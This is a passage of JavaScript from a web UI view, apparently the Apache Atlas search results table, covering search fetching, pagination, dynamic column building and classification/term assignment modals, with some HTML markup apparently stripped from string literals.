{\n collection: this.searchCollection,\n includePagination: false,\n includeFooterRecords: false,\n includeColumnManager: (Utils.getUrlState.isSearchTab() && this.value && this.value.searchType === \"basic\" && !this.profileDBView ? true : false),\n includeOrderAbleColumns: false,\n includeSizeAbleColumns: false,\n includeTableLoader: false,\n includeAtlasTableSorting: true,\n showDefaultTableSorted: true,\n updateFullCollectionManually: true,\n columnOpts: {\n opts: {\n initialColumnsVisible: null,\n saveState: false\n },\n visibilityControlOpts: {\n buttonTemplate: _.template(\"\")\n },\n el: this.ui.colManager\n },\n gridOpts: {\n emptyText: 'No Records found!',\n className: 'table table-hover backgrid table-quickMenu colSort'\n },\n sortOpts: {\n sortColumn: \"name\",\n sortDirection: \"ascending\"\n },\n filterOpts: {},\n paginatorOpts: {}\n };\n if (!this.initialView) {\n var value = {},\n that = this;\n if (this.value) {\n value = this.value;\n if (value && value.includeDE) {\n this.ui.checkDeletedEntity.prop('checked', true);\n }\n if (value && value.excludeSC) {\n this.ui.checkSubClassification.prop('checked', true);\n }\n if (value && value.excludeST) {\n this.ui.checkSubType.prop('checked', true);\n }\n\n } else {\n value = {\n 'query': null,\n 'searchType': 'basic'\n };\n }\n this.updateColumnList();\n if (this.value && this.searchTableColumns && this.searchTableColumns[this.value.type] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n this.fetchCollection(value, _.extend({ 'fromUrl': true }, (this.value && this.value.pageOffset ? { 'next': true } : null)));\n this.ui.showPage.select2({\n data: _.sortBy(_.union([25, 50, 100, 150, 200, 250, 300, 350, 400, 450, 500], [this.limit])),\n tags: true,\n dropdownCssClass: \"number-input\",\n multiple: false\n });\n if (this.value && this.value.pageLimit) {\n this.ui.showPage.val(this.limit).trigger('change', { \"skipViewChange\": true });\n }\n } else {\n if (Globals.entityTypeConfList) {\n this.$(\".entityLink\").show();\n }\n if (this.isTypeTagNotExists) {\n Utils.notifyError({\n content: Messages.search.notExists\n });\n }\n }\n },\n getColumnOrderWithPosition: function() {\n var that = this;\n return _.map(that.columnOrder, function(value, key) {\n return key + \"::\" + value;\n }).join(\",\");\n },\n triggerUrl: function(options) {\n Utils.setUrl(_.extend({\n url: Utils.getUrlState.getQueryUrl().queyParams[0],\n urlParams: this.columnOrder ? _.extend(this.value, { 'uiParameters': this.getColumnOrderWithPosition() }) : this.value,\n mergeBrowserUrl: Utils.getUrlState.isGlossaryTab()?true:false,\n trigger: false,\n updateTabState: true\n }, options));\n },\n updateMultiSelect: function() {\n var addTermTagButton = this.$('.multiSelectTag,.multiSelectTerm');\n if (this.activeEntityCountSelected > 0) {\n addTermTagButton.show();\n } else {\n addTermTagButton.hide();\n }\n },\n updateColumnList: function(updatedList) {\n if (updatedList) {\n var listOfColumns = [];\n _.map(updatedList, function(obj) {\n var key = obj.name;\n if (obj.renderable) {\n listOfColumns.push(obj.name);\n }\n });\n listOfColumns = _.sortBy(listOfColumns);\n this.value.attributes = listOfColumns.length ? listOfColumns.join(\",\") : null;\n if (this.value && (this.value.type || this.value.tag) && this.searchTableColumns) {\n this.searchTableColumns[this.value.type || this.value.tag] = listOfColumns.length ? listOfColumns : null;\n }\n } else if (this.value && (this.value.type || this.value.tag) && this.searchTableColumns && this.value.attributes) {\n this.searchTableColumns[this.value.type || this.value.tag] = this.value.attributes.split(\",\");\n }\n },\n fetchCollection: function(value, options) {\n var that = this,\n isPostMethod = (this.value && this.value.searchType === \"basic\"),\n isSearchTab = Utils.getUrlState.isSearchTab(),\n tagFilters = null,\n entityFilters = null;\n that.activeEntityCountSelected = 0;\n that.updateMultiSelect();\n if (isSearchTab) {\n tagFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.tagFilters);\n entityFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.entityFilters);\n }\n\n if (isPostMethod && isSearchTab) {\n var excludeDefaultColumn = ((this.value.type || this.value.tag) && this.searchTableColumns) ? _.difference(this.searchTableColumns[this.value.type || this.value.tag], this.defaultColumns) : null,\n filterObj = {\n 'entityFilters': entityFilters,\n 'tagFilters': tagFilters,\n 'attributes': excludeDefaultColumn ? excludeDefaultColumn : null\n };\n }\n\n this.showLoader();\n if (Globals.searchApiCallRef && Globals.searchApiCallRef.readyState === 1) {\n Globals.searchApiCallRef.abort();\n }\n var apiObj = {\n skipDefaultError: true,\n sort: false,\n success: function(dataOrCollection, response) {\n if (that.isDestroyed) {\n return;\n }\n Globals.searchApiCallRef = undefined;\n var isFirstPage = that.offset === 0,\n dataLength = 0,\n goToPage = that.ui.gotoPage.val();\n that.ui.gotoPage.val('');\n that.ui.gotoPage.parent().removeClass('has-error');\n that.ui.gotoPagebtn.prop(\"disabled\", true);\n if (!(that.ui.pageRecordText instanceof jQuery)) {\n return;\n }\n if (isPostMethod && dataOrCollection && dataOrCollection.entities) {\n dataLength = dataOrCollection.entities.length;\n } else {\n dataLength = dataOrCollection.length;\n }\n\n if (!dataLength && that.offset >= that.limit && ((options && options.next) || goToPage) && (options && !options.fromUrl)) {\n /* User clicks on next button and server returns\n empty response then disabled the next button without rendering table*/\n\n that.hideLoader();\n var pageNumber = that.activePage + 1;\n if (goToPage) {\n pageNumber = goToPage;\n that.offset = (that.activePage - 1) * that.limit;\n } else {\n that.finalPage = that.activePage;\n that.ui.nextData.attr('disabled', true);\n that.offset = that.offset - that.limit;\n }\n if (that.value) {\n that.value.pageOffset = that.offset;\n that.triggerUrl();\n }\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: pageNumber, sup: true }) + ' page'\n });\n return;\n }\n if (isPostMethod) {\n Utils.findAndMergeRefEntity({\n attributeObject: dataOrCollection.entities,\n referredEntities: dataOrCollection.referredEntities\n });\n that.searchCollection.reset(dataOrCollection.entities, { silent: true });\n that.searchCollection.fullCollection.reset(dataOrCollection.entities, { silent: true });\n }\n\n\n /*Next button check.\n It's outside of Previous button else condition\n because when user comes from 2 page to 1 page than we need to check next button.*/\n if (dataLength < that.limit) {\n that.ui.nextData.attr('disabled', true);\n } else {\n that.ui.nextData.attr('disabled', false);\n }\n\n if (isFirstPage && (!dataLength || dataLength < that.limit)) {\n that.ui.paginationDiv.hide();\n } else {\n that.ui.paginationDiv.show();\n }\n\n // Previous button check.\n if (isFirstPage) {\n that.ui.previousData.attr('disabled', true);\n that.pageFrom = 1;\n that.pageTo = that.limit;\n } else {\n that.ui.previousData.attr('disabled', false);\n }\n\n if (options && options.next) {\n //on next click, adding \"1\" for showing the another records.\n that.pageTo = that.offset + that.limit;\n that.pageFrom = that.offset + 1;\n } else if (!isFirstPage && options && options.previous) {\n that.pageTo = that.pageTo - that.limit;\n that.pageFrom = (that.pageTo - that.limit) + 1;\n }\n that.ui.pageRecordText.html(\"Showing \" + that.searchCollection.models.length + \" records From \" + that.pageFrom + \" - \" + that.pageTo);\n that.activePage = Math.round(that.pageTo / that.limit);\n that.ui.activePage.attr('title', \"Page \" + that.activePage);\n that.ui.activePage.text(that.activePage);\n that.renderTableLayoutView();\n that.multiSelectEntity = [];\n\n if (dataLength > 0) {\n that.$('.searchTable').removeClass('noData')\n }\n\n if (Utils.getUrlState.isSearchTab() && value && !that.profileDBView) {\n var searchString = 'Results for: ' + CommonViewFunction.generateQueryOfFilter(that.value) + \"\";\n if (Globals.entityCreate && Globals.entityTypeConfList && Utils.getUrlState.isSearchTab()) {\n searchString += \"

    If you do not find the entity in search result below then you can\" + ' create new entity

    ';\n }\n that.$('.searchResult').html(searchString);\n }\n if (dataOrCollection.approximateCount || dataOrCollection.length) {\n that.ui.downloadResults.show();\n } else {\n that.ui.downloadResults.hide();\n }\n },\n silent: true,\n reset: true\n }\n if (this.value) {\n var checkBoxValue = {\n 'excludeDeletedEntities': (this.value.includeDE ? false : true),\n 'includeSubClassifications': (this.value.excludeSC ? false : true),\n 'includeSubTypes': (this.value.excludeST ? false : true),\n 'includeClassificationAttributes': true // server will return classication details with guid\n }\n }\n if (value) {\n if (value.searchType) {\n this.searchCollection.url = UrlLinks.searchApiUrl(value.searchType);\n }\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset, 'query': _.trim(value.query), 'typeName': value.type || null, 'classification': value.tag || null, 'termName': value.term || null });\n if (this.profileDBView && value.typeName && value.guid) {\n var profileParam = {};\n profileParam['guid'] = value.guid;\n profileParam['relation'] = value.typeName === 'hive_db' ? '__hive_table.db' : '__hbase_table.namespace';\n profileParam['sortBy'] = 'name';\n profileParam['sortOrder'] = 'ASCENDING';\n _.extend(this.searchCollection.queryParams, profileParam);\n }\n if (isPostMethod) {\n this.searchCollection.filterObj = _.extend({}, filterObj);\n apiObj['data'] = _.extend(checkBoxValue, filterObj, _.pick(this.searchCollection.queryParams, 'query', 'excludeDeletedEntities', 'limit', 'offset', 'typeName', 'classification', 'termName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n this.searchCollection.filterObj = null;\n if (this.profileDBView) {\n _.extend(this.searchCollection.queryParams, checkBoxValue);\n }\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n } else {\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset });\n if (isPostMethod) {\n apiObj['data'] = _.extend(checkBoxValue, filterObj, _.pick(this.searchCollection.queryParams, 'query', 'excludeDeletedEntities', 'limit', 'offset', 'typeName', 'classification', 'termName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n if (this.profileDBView) {\n _.extend(this.searchCollection.queryParams, checkBoxValue);\n }\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n }\n this.downloadSearchResultsParams.searchParameters = apiObj.data;\n this.generateBusinessMetadataAttrList();\n },\n tableRender: function(options) {\n var that = this,\n savedColumnOrder = options.order,\n TableLayout = options.table,\n columnCollection = Backgrid.Columns.extend({\n sortKey: \"displayOrder\",\n className: \"my-awesome-css-animated-grid\",\n comparator: function(item) {\n return item.get(this.sortKey) || 999;\n },\n setPositions: function() {\n _.each(this.models, function(model, index) {\n model.set(\"displayOrder\", (savedColumnOrder == null ? index : parseInt(savedColumnOrder[model.get('label')])) + 1, { silent: true });\n });\n return this;\n }\n });\n var columns = new columnCollection((that.searchCollection.dynamicTable ? that.getDaynamicColumns(that.searchCollection.toJSON()) : that.getFixedDslColumn()));\n columns.setPositions().sort();\n if (this.searchType == \"Advanced Search\" && columns.length && that.searchCollection.length) {\n //for dsl search with Select clause, default column to be use as sorting\n var tableColumnNames = Object.keys(that.searchCollection.toJSON()[0]);\n that.commonTableOptions['sortOpts'] = {\n sortColumn: tableColumnNames[0],\n sortDirection: \"ascending\"\n };\n }\n var table = new TableLayout(_.extend({}, that.commonTableOptions, {\n columns: columns\n }));\n if (table.collection.length === 0) {\n that.$(\".searchTable\").addClass('noData');\n }\n if (!that.REntityTableLayoutView) {\n return;\n }\n if (!that.value) {\n that.value = that.options.value;\n }\n that.REntityTableLayoutView.show(table);\n if (that.value.searchType !== \"dsl\") {\n that.ui.containerCheckBox.show();\n } else {\n that.ui.containerCheckBox.hide();\n }\n that.$(\".ellipsis-with-margin .inputAssignTag\").hide();\n table.trigger(\"grid:refresh\"); /*Event fire when table rendered*/\n // that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(:first)').addClass('dragHandler');\n if (that.isTableDropDisable !== true) {\n var tableDropFunction = function(from, to, el) {\n tableDragger(document.querySelector(\".colSort\")).destroy();\n that.columnOrder = that.getColumnOrder(el.querySelectorAll('th.renderable'));\n that.triggerUrl();\n that.tableRender({ \"order\": that.columnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n }\n that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(.select-all-header-cell)').addClass('dragHandler');\n tableDragger(document.querySelector(\".colSort\"), { dragHandler: \".dragHandler\" }).on('drop', tableDropFunction);\n }\n if (Utils.getUrlState.isGlossaryTab()) {\n this.ui.excludeSubtypes.hide();\n this.ui.excludeSubClassifications.hide();\n } else if (this.fromView !== \"classification\") {\n this.ui.excludeSubtypes.show();\n this.ui.excludeSubClassifications.show();\n } else {\n this.ui.excludeSubtypes.hide();\n }\n },\n renderTableLayoutView: function(col) {\n var that = this;\n require(['utils/TableLayout'], function(TableLayout) {\n // displayOrder added for column manager\n if (that.value.uiParameters) {\n var savedColumnOrder = _.object(that.value.uiParameters.split(',').map(function(a) {\n return a.split('::');\n })); // get Column position from string to object\n }\n\n that.tableRender({ \"order\": savedColumnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n });\n },\n generateAttributeLabelMap: function() {\n var that = this,\n params = this.downloadSearchResultsParams;\n if (params.searchParameters.attributes) {\n _.map(params.searchParameters.attributes, function(attr) {\n for (var label in that.tableColumnsLabelMap) {\n if (attr === that.tableColumnsLabelMap[label]) {\n params.attributeLabelMap[label] = that.tableColumnsLabelMap[label];\n }\n }\n });\n }\n },\n validateAttributeLabelMap: function() {\n var that = this,\n params = this.downloadSearchResultsParams;\n if (params.searchParameters.attributes.length !== 0) {\n _.map(params.searchParameters.attributes, function(attr) {\n for (var key in params.attributeLabelMap) {\n if (params.attributeLabelMap[key] !== attr) {\n delete params.attributeLabelMap[key];\n }\n }\n });\n } else {\n params.attributeLabelMap = {};\n }\n },\n generateBusinessMetadataAttrList: function() {\n var def = this.entityDefCollection.fullCollection.find({\n name: this.value.type,\n }),\n businessAttributeDefs,\n that = this;\n businessAttributeDefs = def ? def.get('businessAttributeDefs') : null;\n if (businessAttributeDefs) {\n _.each(\n businessAttributeDefs,\n function(businessMetadata, businessMetadataName) {\n _.each(businessMetadata, function(attr, index) {\n that.businessMetadataAttributes.push({\n name: businessMetadataName + '.' + attr.name,\n type: attr.typeName\n });\n });\n }\n );\n }\n },\n checkIsEditorValue: function(key) {\n var isEditorKey = false;\n if (this.businessMetadataAttributes.length) {\n _.each(this.businessMetadataAttributes, function(attr) {\n if (attr.name === key && attr.type === \"string\") {\n isEditorKey = true;\n return;\n };\n });\n }\n return isEditorKey;\n },\n getColumnOrder: function(arr) {\n var obj = {};\n for (var i = 0; i < arr.length; ++i) {\n var innerText = arr[i].innerText.trim();\n obj[(innerText == \"\" ? 'Select' : innerText)] = i;\n }\n return obj;\n },\n checkTableFetch: function() {\n if (this.asyncFetchCounter <= 0) {\n this.hideLoader();\n Utils.generatePopover({\n el: this.$('[data-id=\"showMoreLess\"]'),\n contentClass: 'popover-tag-term',\n viewFixedPopover: true,\n popoverOptions: {\n container: null,\n content: function() {\n return $(this).find('.popup-tag-term').children().clone();\n }\n }\n });\n }\n },\n getFixedDslColumn: function() {\n var that = this,\n nameCheck = 0,\n columnToShow = null,\n col = {};\n this.value = this.fromView === \"glossary\" ? this.value : Utils.getUrlState.getQueryParams() || this.value;\n if (this.value && this.value.searchType === \"basic\" && this.searchTableColumns && (this.searchTableColumns[this.value.type || this.value.tag] !== undefined)) {\n columnToShow = this.searchTableColumns[this.value.type || this.value.tag] == null ? [] : this.searchTableColumns[this.value.type || this.value.tag];\n }\n col['Check'] = {\n name: \"selected\",\n label: \"Select\",\n cell: \"select-row\",\n resizeable: false,\n orderable: false,\n renderable: (columnToShow ? _.contains(columnToShow, 'selected') : true),\n headerCell: \"select-all\"\n };\n\n\n col['name'] = {\n label: this.value && this.profileDBView ? \"Table Name\" : \"Name\",\n cell: \"html\",\n editable: false,\n resizeable: true,\n orderable: false,\n renderable: true,\n sortable: true,\n className: \"searchTableName\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON(),\n nameHtml = \"\",\n name = Utils.getName(obj);\n if (!obj.attributes || obj.attributes.serviceType === undefined) {\n if (Globals.serviceTypeMap[obj.typeName] === undefined && that.entityDefCollection) {\n var defObj = that.entityDefCollection.fullCollection.find({ name: obj.typeName });\n if (defObj) {\n Globals.serviceTypeMap[obj.typeName] = defObj.get('serviceType');\n }\n }\n } else if (Globals.serviceTypeMap[obj.typeName] === undefined) {\n Globals.serviceTypeMap[obj.typeName] = obj.attributes ? obj.attributes.serviceType : null;\n }\n obj.serviceType = Globals.serviceTypeMap[obj.typeName];\n if (obj.guid) {\n if (obj.guid == \"-1\") {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n } else {\n nameHtml = '' + name + '';\n }\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n nameHtml += '';\n nameHtml = '
    ' + nameHtml + '
    ';\n }\n var getImageData = function(options) {\n var imagePath = options.imagePath,\n returnImgUrl = null;\n that.checkEntityImage[model.get('guid')] = false;\n $.ajax({\n \"url\": imagePath,\n \"method\": \"get\",\n \"cache\": true\n })\n .always(function(data, status, xhr) {\n if (data.status == 404) {\n returnImgUrl = getImageData({\n \"imagePath\": Utils.getEntityIconPath({ entityData: obj, errorUrl: imagePath })\n });\n } else if (data) {\n that.checkEntityImage[model.get('guid')] = imagePath;\n returnImgUrl = imagePath;\n that.$(\"img[data-imgGuid='\" + obj.guid + \"']\").removeClass(\"searchTableLogoLoader\").attr(\"src\", imagePath);\n }\n });\n }\n var img = \"\";\n img = \"
    \";\n if (that.checkEntityImage[model.get('guid')] == undefined) {\n getImageData({ imagePath: Utils.getEntityIconPath({ entityData: obj }) });\n } else {\n if (that.checkEntityImage[model.get('guid')] != false) {\n img = \"
    \";\n }\n }\n return (img + nameHtml);\n }\n })\n };\n\n col['owner'] = {\n label: \"Owner\",\n cell: \"String\",\n editable: false,\n resizeable: true,\n orderable: true,\n renderable: true,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.attributes && obj.attributes.owner) {\n return obj.attributes.owner;\n }\n }\n })\n };\n if (this.value && this.profileDBView) {\n col['createTime'] = {\n label: \"Date Created\",\n cell: \"Html\",\n editable: false,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.attributes && obj.attributes.createTime) {\n return Utils.formatDate({ date: obj.attributes.createTime });\n } else {\n return '-'\n }\n }\n })\n }\n }\n if (this.value && !this.profileDBView) {\n col['description'] = {\n label: \"Description\",\n cell: \"String\",\n editable: false,\n resizeable: true,\n orderable: true,\n renderable: true,\n sortable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.attributes && obj.attributes.description) {\n return obj.attributes.description;\n }\n }\n })\n };\n\n\n col['typeName'] = {\n label: \"Type\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.contains(columnToShow, 'typeName') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.typeName) {\n return '' + obj.typeName + '';\n }\n }\n })\n };\n this.getTagCol({ 'col': col, 'columnToShow': columnToShow });\n if ((!_.contains([\"glossary\"], this.fromView))) {\n this.getTermCol({ 'col': col, 'columnToShow': columnToShow });\n }\n\n if (this.value && this.value.searchType === \"basic\") {\n var def = this.entityDefCollection.fullCollection.find({ name: this.value.type }),\n systemAttr = [],\n businessMetadataAttr = [],\n businessAttributes = {};\n if (this.value.type == \"_ALL_ENTITY_TYPES\") {\n this.businessMetadataDefCollection.each(function(model) {\n var sortedAttributes = model.get('attributeDefs') || null,\n name = model.get('name');\n if (sortedAttributes) {\n sortedAttributes = _.sortBy(sortedAttributes, function(obj) {\n return obj.name;\n });\n businessAttributes[name] = $.extend(true, {}, sortedAttributes);\n }\n })\n } else {\n businessAttributes = def ? ($.extend(true, {}, def.get('businessAttributeDefs')) || null) : null;\n }\n if (def || Globals[this.value.type] || (\n this.value.tag ?\n Globals[this.value.tag] ?\n Globals[this.value.tag] :\n Globals[Enums.addOnClassification[0]] :\n undefined)) {\n var attrObj = def ? Utils.getNestedSuperTypeObj({ data: def.toJSON(), collection: this.entityDefCollection, attrMerge: true }) : [];\n if (this.value.type && (Globals[this.value.type] || Globals[Enums.addOnEntities[0]])) {\n systemAttr = (Globals[this.value.type] || Globals[Enums.addOnEntities[0]]).attributeDefs;\n }\n if (this.value.tag && (Globals[this.value.tag] || Globals[Enums.addOnClassification[0]])) {\n systemAttr = (Globals[this.value.tag] || Globals[Enums.addOnClassification[0]]).attributeDefs;\n }\n attrObj = attrObj.concat(systemAttr);\n if (businessAttributes) {\n _.each(businessAttributes, function(businessMetadata, businessMetadataName) {\n _.each(businessMetadata, function(attr, index) {\n var attribute = attr;\n attribute.isBusinessAttributes = true;\n attribute.name = businessMetadataName + '.' + attribute.name;\n businessMetadataAttr.push(attribute);\n })\n })\n }\n attrObj = attrObj.concat(businessMetadataAttr);\n _.each(attrObj, function(obj, key) {\n var key = obj.name,\n isRenderable = _.contains(columnToShow, key),\n // isSortable = obj.typeName.search(/(array|map)/i) == -1, // commented : as sorting is required for all the columns except classifications and terms\n isSortable = obj.typeName.search(/(string|date|boolean|int|number|byte|float|long|double|short)/i) == 0, // commented : as sorting is required for all the columns except non-primitive types\n columnLabel;\n if (key == \"name\" || key == \"description\" || key == \"owner\") {\n if (columnToShow) {\n col[key].renderable = isRenderable;\n }\n return;\n }\n if (key == \"__historicalGuids\" || key == \"__classificationsText\" || key == \"__classificationNames\" || key == \"__propagatedClassificationNames\") {\n return;\n }\n columnLabel = Enums.systemAttributes[obj.name] ? Enums.systemAttributes[obj.name] : (_.escape(obj.isBusinessAttributes ? obj.name : obj.name.capitalize()));\n that.tableColumnsLabelMap[columnLabel] = obj.name;\n col[obj.name] = {\n label: columnLabel,\n cell: \"Html\",\n // headerCell: Backgrid.HeaderHTMLDecodeCell,\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: isSortable,\n renderable: isRenderable,\n headerClassName: obj.isBusinessAttributes ? \"no-capitalize\" : \"\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (modelObj && modelObj.attributes && !_.isUndefined(modelObj.attributes[key])) {\n var tempObj = {\n 'scope': that,\n 'attributeDefs': [obj],\n 'valueObject': {},\n 'isTable': false\n };\n if (key == \"__labels\") {\n var values = modelObj.attributes[key] ? modelObj.attributes[key].split(\"|\") : null,\n valueOfArray = [];\n if (values) {\n if (values[values.length - 1] === \"\") { values.pop(); }\n if (values[0] === \"\") { values.shift(); }\n _.each(values, function(names) {\n valueOfArray.push('' + _.escape(names) + '');\n });\n return valueOfArray.join(' ');\n }\n }\n if (key == \"__customAttributes\") {\n var customAttributes = modelObj.attributes[key] ? JSON.parse(modelObj.attributes[key]) : null,\n valueOfArray = [];\n if (customAttributes) {\n _.each(Object.keys(customAttributes), function(value, index) {\n valueOfArray.push('' + _.escape(value) + ' : ' + _.escape(Object.values(customAttributes)[index]) + '');\n });\n return valueOfArray.join(' ');\n }\n }\n tempObj.valueObject[key] = modelObj.attributes[key];\n tempObj['isEditorValue'] = that.checkIsEditorValue(key);\n var tablecolumn = CommonViewFunction.propertyTable(tempObj);\n if (_.isArray(modelObj.attributes[key])) {\n var column = $(\"
    \" + tablecolumn + \"
    \")\n if (tempObj.valueObject[key].length > 2) {\n column.addClass(\"toggleList semi-collapsed\").append(\"Show More\");\n }\n return column;\n }\n return tablecolumn;\n }\n }\n })\n };\n });\n }\n }\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n onClickLoadMore: function() {\n var that = this;\n this.$el.on('click', \"[data-id='load-more-columns']\", function(event) {\n event.stopPropagation();\n event.stopImmediatePropagation();\n var $this = $(this),\n $toggleList = $(this).parents('.toggleList');\n if ($toggleList.length) {\n if ($toggleList.hasClass('semi-collapsed')) {\n $toggleList.removeClass('semi-collapsed');\n $this.text(\"Show Less\");\n } else {\n $toggleList.addClass('semi-collapsed');\n $this.text(\"Show More\");\n }\n }\n });\n },\n getDaynamicColumns: function(valueObj) {\n var that = this,\n col = {};\n if (valueObj && valueObj.length) {\n var firstObj = _.first(valueObj);\n _.each(_.keys(firstObj), function(key) {\n col[key] = {\n label: key.capitalize(),\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (key == \"name\") {\n var nameHtml = \"\",\n name = _.escape(modelObj[key]);\n if (modelObj.guid) {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n if (modelObj.status && Enums.entityStateReadOnly[modelObj.status]) {\n nameHtml += '';\n return '
    ' + nameHtml + '
    ';\n }\n return nameHtml;\n } else if (modelObj && !_.isUndefined(modelObj[key])) {\n var tempObj = {\n 'scope': that,\n // 'attributeDefs':\n 'valueObject': {},\n 'isTable': false\n };\n tempObj['isEditorValue'] = that.checkIsEditorValue(key);\n tempObj.valueObject[key] = modelObj[key];\n return CommonViewFunction.propertyTable(tempObj);\n }\n }\n })\n };\n });\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n getTagCol: function(options) {\n var that = this,\n columnToShow = options.columnToShow,\n col = options.col;\n if (col) {\n col['tag'] = {\n label: \"Classifications\",\n cell: \"Html\",\n editable: false,\n sortable: false,\n resizeable: true,\n orderable: true,\n renderable: (columnToShow ? _.contains(columnToShow, 'tag') : true),\n className: 'searchTag',\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj.guid == \"-1\") {\n return\n }\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n return '
    ' + CommonViewFunction.tagForTable(obj, that.classificationDefCollection); + '
    ';\n } else {\n return CommonViewFunction.tagForTable(obj, that.classificationDefCollection);\n }\n\n }\n })\n };\n }\n },\n getTermCol: function(options) {\n var that = this,\n columnToShow = options.columnToShow,\n col = options.col;\n if (col) {\n col['term'] = {\n label: \"Term\",\n cell: \"Html\",\n editable: false,\n sortable: false,\n resizeable: true,\n orderable: true,\n renderable: (columnToShow ? _.contains(columnToShow, 'term') : true),\n className: 'searchTag',\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj.guid == \"-1\") {\n return\n }\n if (obj.typeName && !(_.startsWith(obj.typeName, \"AtlasGlossary\"))) {\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n return '
    ' + CommonViewFunction.termForTable(obj); + '
    ';\n } else {\n return CommonViewFunction.termForTable(obj);\n }\n }\n }\n })\n };\n }\n },\n addTagModalView: function(guid, multiple, entityCount) {\n var that = this;\n require(['views/tag/AddTagModalView'], function(AddTagModalView) {\n var view = new AddTagModalView({\n guid: guid,\n multiple: multiple,\n entityCount: entityCount,\n callback: function() {\n that.multiSelectEntity = [];\n that.fetchCollection();\n if (that.searchVent) {\n that.searchVent.trigger('entityList:refresh');\n }\n },\n tagList: that.getTagList(guid, multiple),\n showLoader: that.showLoader.bind(that),\n hideLoader: that.hideLoader.bind(that),\n collection: that.classificationDefCollection,\n enumDefCollection: that.enumDefCollection\n });\n });\n },\n getTagList: function(guid, multiple) {\n var that = this;\n if (!multiple || multiple.length === 0) {\n var model = this.searchCollection.find(function(item) {\n var obj = item.toJSON();\n if (obj.guid === guid) {\n return true;\n }\n });\n if (model) {\n var obj = model.toJSON();\n } else {\n return [];\n }\n return _.compact(_.map(obj.classifications, function(val) {\n if (val.entityGuid == guid) {\n return val.typeName\n }\n }));\n } else {\n return [];\n }\n },\n showLoader: function() {\n this.$('.fontLoader:not(.for-ignore)').addClass('show');\n this.$('.tableOverlay').addClass('show');\n },\n hideLoader: function(options) {\n this.$('.fontLoader:not(.for-ignore)').removeClass('show');\n options && options.type === 'error' ? this.$('.ellipsis-with-margin,.pagination-box').hide() : this.$('.ellipsis-with-margin,.pagination-box').show(); // only show for first time and hide when type is error\n this.$('.tableOverlay').removeClass('show');\n },\n onClickAddTag: function(e) {\n var guid = \"\",\n that = this,\n isTagMultiSelect = $(e.currentTarget).hasClass('multiSelectTag');\n if (isTagMultiSelect && this.multiSelectEntity && this.multiSelectEntity.length) {\n that.addTagModalView(guid, this.multiSelectEntity, this.activeEntityCountSelected);\n } else {\n guid = that.$(e.currentTarget).data(\"guid\");\n that.addTagModalView(guid);\n }\n },\n //This function checks for the lenght of Available terms and modal for adding terms is displayed accordingly.\n assignTermModalView: function(glossaryCollection, obj) {\n var that = this,\n terms = 0;\n _.each(glossaryCollection.fullCollection.models, function(model) {\n if (model.get('terms')) {\n terms += model.get('terms').length;\n };\n });\n if (terms) {\n require(['views/glossary/AssignTermLayoutView'], function(AssignTermLayoutView) {\n var view = new AssignTermLayoutView({\n guid: obj.guid,\n multiple: obj.multiple,\n associatedTerms: obj.associatedTerms,\n callback: function() {\n that.multiSelectEntity = [];\n that.fetchCollection();\n },\n glossaryCollection: glossaryCollection,\n });\n });\n } else {\n Utils.notifyInfo({\n content: \"There are no available terms\"\n });\n }\n },\n onClickAddTermBtn: function(e) {\n var that = this,\n guid = \"\",\n entityGuid = $(e.currentTarget).data(\"guid\"),\n obj = {\n guid: entityGuid,\n multiple: undefined,\n associatedTerms: undefined,\n },\n isTermMultiSelect = $(e.currentTarget).hasClass('multiSelectTerm');\n\n that.assignTermModalView(this.glossaryCollection, obj);\n if (isTermMultiSelect && this.multiSelectEntity && this.multiSelectEntity.length) {\n obj.multiple = this.multiSelectEntity;\n } else if (entityGuid) {\n obj.associatedTerms = this.searchCollection.find({ guid: entityGuid }).get('meanings');\n 